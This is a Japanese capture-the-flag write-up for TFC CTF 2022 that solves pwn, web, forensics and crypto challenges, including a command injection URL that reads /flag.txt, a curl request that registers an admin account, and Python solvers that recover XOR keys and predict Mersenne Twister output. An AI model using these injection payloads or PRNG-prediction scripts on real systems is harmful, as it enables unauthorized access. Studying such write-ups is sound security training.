TFC CTF 2022 Writeup

この大会は2022/7/29 19:00(JST)~2022/7/31 19:00(JST)に開催されました。
今回もチームで参戦。結果は7903点で941チーム中8位でした。
自分で解けた問題をWriteupとして書いておきます。

RULES (MISC)

Discordに入り、#rulesチャネルのルールを見ると、フラグの例が書かれていた。

TFCCTF{Fr33_fl4gz_f0r_U}

RANDOM (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  uint uVar1;
  time_t tVar2;
  char *pcVar3;
  long in_FS_OFFSET;
  int local_14;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  setvbuf(stdin,(char *)0x0,2,0);
  setvbuf(stdout,(char *)0x0,2,0);
  setvbuf(stderr,(char *)0x0,2,0);
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  puts("Menu: \n1. Generate number");
  __isoc99_scanf(&DAT_0010201e,&local_14);
  if (local_14 == 1) {
    uVar1 = rand();
    printf("%d",(ulong)uVar1);
  }
  else if (local_14 == 0x539) {
    pcVar3 = getenv("FLAG");
    printf("%s",pcVar3);
  }
  else {
    printf("wrong option");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

1337(=0x539)と答えればよい。

$ nc 01.linux.challenges.ctf.thefewchosen.com 50534
Menu: 
1. Generate number
1337
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}
TFCCTF{Th3r3_w3r3_m0r3_0pt10n5_4ft3r_4ll!}

ROBOTS AND MUSIC (WEB)

http://01.linux.challenges.ctf.thefewchosen.com:50987/robots.txtにアクセスすると、以下のように表示される。

User-agent: *
Disallow: /g00d_old_mus1c.php
|<
http://01.linux.challenges.ctf.thefewchosen.com:50987/g00d_old_mus1c.phpにアクセスすると、フラグが表示された。
>|
<b>TFCCTF{Kr4ftw3rk_4nd_th3_r0b0ts}</b>
|<

* PONG (WEB)
OSコマンドインジェクション。http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20lsにアクセスすると、以下のように表示される。
>||
index.php
Command executed: ping -c 2 127.0.0.1; ls

http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20ls%20/にアクセスすると、以下のように表示される。

bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Command executed: ping -c 2 127.0.0.1; ls /

http://01.linux.challenges.ctf.thefewchosen.com:51093/index.php?host=127.0.0.1;%20cat%20/flag.txtにアクセスすると、以下のように表示される。

TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}
Command executed: ping -c 2 127.0.0.1; cat /flag.txt
TFCCTF{C0mm4nd_1nj3c5i0n_1s_E4sy}

ARE YOU THE ADMIN? (WEB)

以下によりadminユーザで、isAdminがtrueのデータを登録する。

$ curl -H 'Content-Type: application/json' -d '{"username": "admin", "isAdmin": true}' http://01.linux.challenges.ctf.thefewchosen.com:59205/api/auth

http://01.linux.challenges.ctf.thefewchosen.com:59205/にアクセスすると、以下のようにフラグが表示された。

Username: admin
Is admin? yes
TFCCTF{S4n1t1z3_Y0ur_1nput5!}
TFCCTF{S4n1t1z3_Y0ur_1nput5!}

ディレクトリ探索を行い、あやしいURLにアクセスする。

$ python3 dirsearch.py -u http://01.linux.challenges.ctf.thefewchosen.com:51343 -e html,php,txt
Missing required dependencies to run.
Do you want dirsearch to automatically install them? [Y/n] y
Installing required dependencies...

  _|. _ _  _  _  _ _|_    v0.4.2.4
 (_||| _) (/_(_|| (_| )

Extensions: html, php, txt | HTTP method: GET | Threads: 25
Wordlist size: 10276

Output File: /mnt/hgfs/Shared/dirsearch/reports/01.linux.challenges.ctf.thefewchosen.com_51343/_22-07-29_21-51-26.txt

Target: http://01.linux.challenges.ctf.thefewchosen.com:51343/

[21:51:27] Starting: 
[21:52:15] 200 -  230B  - /.well-known/apple-app-site-association
[21:55:40] 200 -   20B  - /index.html

Task Completed

$ curl http://01.linux.challenges.ctf.thefewchosen.com:51343/.well-known/apple-app-site-association
{
    "applinks": {
        "apps": [],
        "details": [
            {
                "appID": "ABCDEFGHIJ.com.example.example",
                "paths": ["TFCCTF{4ppl3_4pp_51t3_4550c14t10n}"]
            }
        ]
    }
}
TFCCTF{4ppl3_4pp_51t3_4550c14t10n}

BBBBBBBBBB (FORENSICS)

バイナリに含まれる'BBBBBBBBBB'を削除する。

#!/usr/bin/env python3
with open('chall.jpg', 'rb') as f:
    data = f.read()

data = data.replace(b'BBBBBBBBBB', b'')

with open('flag.jpg', 'wb') as f:
    f.write(data)

この結果jpgとして画像を見ることができ、フラグが書いてあった。

TFCCTF{the_fl4g_1s_th3_w4y}

ADDING IN PARTS (FORENSICS)

0.zip~21.zipがあるが壊れていて、展開できない。各zipファイルに格納されているファイルのサイズは1で、crcは正しい値になっていると推測できる。そこで1文字のブルートフォースcrcが一致する文字を連結していく。

#!/usr/bin/env python3
import zipfile
import binascii

dic_crc = {}
for code in range(32, 127):
    crc = binascii.crc32(bytes([code]))
    dic_crc[crc] = chr(code)

flag = ''
for i in range(22):
    file = 'add_parts/%d.zip' % i
    with zipfile.ZipFile(file, 'r') as zf:
        for info in zf.infolist():
            crc = info.CRC
    flag += dic_crc[crc]

print(flag)
TFCCTF{ch3cksum2_g0od}

CAT WINK (FORENSICS)

画像検索すると、https://www.istockphoto.com/jp/%E5%86%99%E7%9C%9F/animal-winkにjpgだが同じ画像がある。RGBで同じかどうかで白黒を分けて画像生成する。

#!/usr/bin/env python3
from PIL import Image

img1 = Image.open('cat.png').convert('RGB')
img2 = Image.open('istockphoto-1267021092-612x612.jpg').convert('RGB')
w, h = img1.size

output_img = Image.new('RGB', (w, h), (255, 255, 255))

for y in range(h):
    for x in range(w):
        r1, g1, b1 = img1.getpixel((x, y))
        r2, g2, b2 = img2.getpixel((x, y))
        if r1 == r2 and g1 == g2 and b1 == b2:
            output_img.putpixel((x, y), (0, 0, 0))
        else:
            output_img.putpixel((x, y), (255, 255, 255))

output_img.save('flag.png')

生成した画像にフラグが現れた。

TFCCTF{c4tch0wsk1}

BASIC (CRYPTO)

basecrackでデコードする。

$ python3 basecrack.py -b "/Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D"

██████╗  █████╗ ███████╗███████╗ ██████╗██████╗  █████╗  ██████╗██╗  ██╗
██╔══██╗██╔══██╗██╔════╝██╔════╝██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██╔╝
██████╔╝███████║███████╗█████╗  ██║     ██████╔╝███████║██║     █████╔╝ 
██╔══██╗██╔══██║╚════██║██╔══╝  ██║     ██╔══██╗██╔══██║██║     ██╔═██╗ 
██████╔╝██║  ██║███████║███████╗╚██████╗██║  ██║██║  ██║╚██████╗██║  ██╗
╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝ v3.0
    
		python basecrack.py -h [FOR HELP]

[-] Encoded Base: /Rn/X7n#bUc.rjzh,|eEsg,?&QI;@^ARm}UKOkICi#X.ixEmN]D

[>] Decoding as Base91: TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

[-] The Encoding Scheme Is Base91
TFCCTF{sh3's_4_10..._but_0n_th3_ph_sc4l3}

MAFIOSO (CRYPTO)

sha256と推測し、CrackStationでクラックする。

snitchesgetstitches
TFCCTF{snitchesgetstitches}

OBSCURE (CRYPTO)

コピペしたものをファイル保存し、バイナリエディタでASCIIのみの表示にすると、飛び飛びでフラグになっている。

TFCCTF{s3cur1ty_thr0ugh_0bscur1ty}

EXCLUSIVE ORACLE (CRYPTO)

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'6\x0e\xa0\xe4;}=\xe1D\xb7\xab\xb6\xf9&.\xea\xb7A1N\x15[\xde)S|\xf9n-=5\x80\xaf\x88\xe2\x19\xb5\x11\xa2\xf6S'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 11
b'\xfa\xe2\xe8\xebm<\xaaz\xd4\xe1\xa8PM\x9az<\xc7Jbc\xfe\x00\x05\x12\xc9\x9f\xca\xf1\xd1\x88\xdb0\xe3\xcd\x98\xfb\xe8\x0b\xf7m\x9f\x95'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 11111
b'\xd6S\xb3-\xe90\x0b\x8ae9\x1e\xc9\x7f\x1f\xd1\xe4|\x997a\xad\xf81\xe78\xf5\x04\x1e\xdaEar\x8bt\xc7\x18\xa61\xad\x01\xb3$\xc1_\x8c'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'\xfa\xde1Z\x07\xb4\x7f\xd7Aq\r\x80\x16\x8b~\xf8\x03B!\xb3\xbe\xecM\xaa\x82\xd0\xbc\x92I\xa4\x0e\x12}b\x8c)x\xab\xbc4\x9f'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1
b'i\xbf\xf59\x08\x9d\x92\x128\xe6\xdeo\xc6_\xb2*\x07\xe8-\x19Z\xbf\x01\x83\x873\x83\x95\x1dW~\xfc;\xbc\xfc\x83\xaf\xb8\xf0\x97\x0c'

暗号文字列は 40 + 入力バイト数 の長さになっている。フラグ+入力文字がXOR暗号されていると推測できる。1文字入力の暗号文字列の先頭と末尾をXORしてみる。

>>> from Crypto.Util.strxor import strxor
>>> strxor(b'6', b'S')
b'e'
>>> strxor(b'\xfa', b'\x9f')
b'e'
>>> strxor(b'i', b'\x0c')
b'e'

一応3文字の場合も試してみる。

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 111
b'\xa9\x0b|\x96\xde\x85\xe1\x8by\x8b\xbdn\xcd\x90\x16^\x92\xd5\t\xbbm\xf1\xf2\xb6\xe3\xafDW\x0cf\x96\x85jw\xd57\x1e\x7f\n1\xcc|\x0e'

$ nc 01.linux.challenges.ctf.thefewchosen.com 57625
Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 111
b'\xa2\x10\x85\x05M\xe2c\\\xce(aI%\x19g\x11Y\xb5\x05fn\x99+\x84\xfe\xc8V\x11\x86d@k\xf2\x0e\xae\x02\xacv\xb8\n\xc7g\xf7'
>>> strxor(b'\xa9\x0b|', b'\xcc|\x0e')
b'ewr'
>>> strxor(b'\xa2\x10\x85', b'\xc7g\xf7')
b'ewr'

鍵は40バイトと考えられるため、40バイト平文を入力し鍵を求め、復号する。

#!/usr/bin/env python3
import socket
from Crypto.Util.strxor import strxor

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57625))

pt = '1' * 40

data = recvuntil(s, b'> ')
print(data + pt)
s.sendall(pt.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
ct = eval(data)

key = strxor(pt.encode(), ct[40:])
flag = strxor(ct[:40], key).decode()
print(flag)

実行結果は以下の通り。

Just encrypted my flag. Encrypt your data too, and let's join them together!
Your data > 1111111111111111111111111111111111111111
b'\n\xa6e\xbd\xa2\xe6\xd9\xf4\x8dgG\t\xa61\xc7\xd8\xa8\xef@\x08GU\x0bB\xdfh\xc1\x06\xfa\xf5\xb8?\x95D\xf2\r\tK\x93%o\xd1\x17\xcf\xc7\x91\x93\xb2\xd4b\x02\x1f\xe4_\x82\x81\xaa\x81\x06\t\x04\x08^,\x99h\x84_\xfb\xb1\xbeQ\x97\x1b\xf2[UN\x9di'
TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}
TFCCTF{wh4t's_th3_w0rld_w1th0u7_3n1gm4?}

TRAIN TO PADDINGTON (CRYPTO)

16バイト鍵でXORをして暗号化している。まずフラグが"TFCCTF{"から始まることを前提にわかる範囲で復号する。3ブロック目の最終文字が'\x3f'になっているので、それ以降は'\x3f'になることがわかる。このことから全体の鍵を求め、復号する。

#!/usr/bin/env python3
with open('output.txt', 'r') as f:
    ct = bytes.fromhex(f.read())

ct_blocks = [ct[i:i+16] for i in range(0, len(ct), 16)]

pt_head = 'TFCCTF{'

key0 = []
for i in range(len(pt_head)):
    key0.append(ord(pt_head[i]) ^ ct[i])

pt0_blocks = []
for block in ct_blocks:
    pt = ''
    for i in range(len(key0)):
        pt += chr(block[i] ^ key0[i])
    pt0_blocks.append(pt)

assert pt0_blocks[-1][-1] == '\x3f'

pt_tail = '\x3f' * (16 - len(pt_head))
key1 = []
for i in range(len(pt_tail)):
    key1.append(ord(pt_tail[i]) ^ ct[- len(pt_tail) + i])

key = key0 + key1
flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ key[i%len(key)])
flag = flag.rstrip('\x3f')
print(flag)
TFCCTF{th3_tr41n_h4s_l3ft_th3_st4t10n}

ADMIN PANEL (CRYPTO)

サーバの処理概要は以下の通り。

・KEY: ランダム16バイト文字列
・PASSWORD: ランダム16バイト文字列
・以下繰り返し
 ・メニュー表示
 ・option: メニュー選択(1 or 2)
 ・optionが1の場合
  ・password: hexで入力→デコード
  ・passwordがPASSWORDと一致していたら、フラグを表示
 ・optionが2の場合
  ・token: 入力(64バイトhex文字列)
  ・hex_token: tokenをhexデコード
  ・r_byte: ランダム1バイト
  ・r_byteを16進表記で表示
  ・xorred: hex_tokenの各文字をr_byteとXOR
  ・PASSWORD = decrypt(xorred)
   ・iv = xorred[:16]
   ・ct = xorred[16:]
   ・pt = ''
   ・state = iv
   ・ctの長さ分繰り返し(i)
    ・b: stateをAES-ECB暗号化した1バイト目
    ・c = b ^ ct[i]
    ・pt += bytes([c])
    ・state = state[1:] + bytes([ct[i]])
   ・ptを返却

hex_tokenの32バイトを同じ文字で指定したら、b, c, stateの値は常に一定になる。PASSWORDの16バイトは何かの文字の16バイトになるので、ブルートフォースでPASSWORDを当てる。

#!/usr/bin/env python3
import socket

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 53189))

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = (b'A' * 32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 46
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 16161616161616161616161616161616
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 17171717171717171717171717171717
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 18181818181818181818181818181818
TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}
TFCCTF{l0g0n_z3r0_w1th_3xtr4_st3ps!}

ADMIN PANEL BUT HARDER (CRYPTO)

ADMIN PANELとほぼ同様の問題だが、XOR鍵が1バイトから32バイトになっているため、難易度が上がっている。鍵はrandom.randbytes(32)で生成し表示されるので、Mersenne Twisterの特徴から、624//(32//4)回情報を得られれば、その次の鍵を推測することができる。このことを利用して、あとはADMIN PANELと同じ解き方で、フラグが得られる。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57825))

N = 624
state = []
for i in range(N // (32 // 4)):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    token = (b'A' * 32).hex()

    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'> ')
    print(data + token)
    s.sendall(token.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    r_bytes = bytes.fromhex(data.split(' ')[-1])
    for i in range(0, len(r_bytes), 4):
        r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little')
        state.append(untemper(r_int))

state.append(N)
random.setstate([3, tuple(state), None])

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = random.randbytes(32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: a43f2fc4440aee2aac36229fa20ab55ca7114637b135f432b958d9b3b201d719
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: e1e5e6b61c6d56d69d532668ba7abad81445dc46816aa9838e10db8a96aad20c
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 070be145a744efd88c08b095a28066d1481d18096b09423b1e06b8b812c32cfd
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: a5a32afdb93184ffa09ba4b19d03b95f667a8f45f96aa0b71d42a03003e120f3
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: bf53cf50c2bb43dbb6f55f3c55b56ecc86c4a999ee945e294d5f59db49c90114
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 92438df5b02d7574c2f78eac882fb9d69b55aa4fdbdf2af8dc15fc6422543ded
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc
XORing with: 42a9650c20dd82150fa0cee4dc7e9e90d46503430a540e9a51ff44bd5f3640cc
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a2a
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b2b
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c2c
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d
TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}
TFCCTF{n0_th3_fl4g_1s_n0t_th3_0ld_0n3_plus-Th3-w0rd_h4rd3r!}

ADMIN PANEL BUT HARDER AND FIXED (CRYPTO)

ADMIN PANEL BUT HARDER と同じスクリプトを使う。

#!/usr/bin/env python3
import socket
import random

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

def untemper(rand):
    rand ^= rand >> 18;
    rand ^= (rand << 15) & 0xefc60000;
 
    a = rand ^ ((rand << 7) & 0x9d2c5680);
    b = rand ^ ((a << 7) & 0x9d2c5680);
    c = rand ^ ((b << 7) & 0x9d2c5680);
    d = rand ^ ((c << 7) & 0x9d2c5680);
    rand = rand ^ ((d << 7) & 0x9d2c5680);
 
    rand ^= ((rand ^ (rand >> 11)) >> 11);
    return rand

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('01.linux.challenges.ctf.thefewchosen.com', 57861))

N = 624
state = []
for i in range(N // (32 // 4)):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    token = (b'A' * 32).hex()

    data = recvuntil(s, b'> ')
    print(data + '2')
    s.sendall(b'2\n')
    data = recvuntil(s, b'> ')
    print(data + token)
    s.sendall(token.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)

    r_bytes = bytes.fromhex(data.split(' ')[-1])
    for i in range(0, len(r_bytes), 4):
        r_int = int.from_bytes(r_bytes[i:i+4], byteorder='little')
        state.append(untemper(r_int))

state.append(N)
random.setstate([3, tuple(state), None])

for _ in range(4):
    data = recvuntil(s, b'\n').rstrip()
    print(data)

token = random.randbytes(32).hex()

data = recvuntil(s, b'> ')
print(data + '2')
s.sendall(b'2\n')
data = recvuntil(s, b'> ')
print(data + token)
s.sendall(token.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

for code in range(256):
    for _ in range(4):
        data = recvuntil(s, b'\n').rstrip()
        print(data)

    password = (bytes([code]) * 16).hex()

    data = recvuntil(s, b'> ')
    print(data + '1')
    s.sendall(b'1\n')
    data = recvuntil(s, b'> ')
    print(data + password)
    s.sendall(password.encode() + b'\n')
    data = recvuntil(s, b'\n').rstrip()
    print(data)
    if data != 'Wrong password!':
        break

実行結果は以下の通り。

========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: e7f3121eaf23d2ef1a3c2e706fbd6c482ad71edc97ee02106a3630f7b8c85558
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: ed0c19a2c098875025b11a1bedb6ea3a7f0f88d7fc0a3a86c6660b077039894f
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 0bcabe8ef9f050b2c3b820a497dfdecb699d13ddf60680aef605d54dc14f968e
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 161e4e42e07f30ae1a8ea3c76e421e8827cfddf6ffd1d6c64c8a364fbf8651c8
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 820d57871a480defe1532bb4b774c37908106c4d4118305712a940c3a2f20f07
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 4141414141414141414141414141414141414141414141414141414141414141
XORing with: 8555e9bd63350e949d3ad45d21477c3d81654b87e643cb53f0bdbd0e39a93b2a
========================
1. Access Flag
2. Change Password
========================
> 2
Token > 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32
XORing with: 0faf1a1fa779674ab8bd48a3154ff54a1d21a85a0f53ad322a672a6f98838b32
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 00000000000000000000000000000000
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 01010101010101010101010101010101
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 02020202020202020202020202020202
Wrong password!
                                :
                                :
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 53535353535353535353535353535353
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 54545454545454545454545454545454
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 55555555555555555555555555555555
Wrong password!
========================
1. Access Flag
2. Change Password
========================
> 1
Password > 56565656565656565656565656565656
TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}
TFCCTF{4pp4r3ntly_sp4ces_br34ks_th3_0ld_0ne}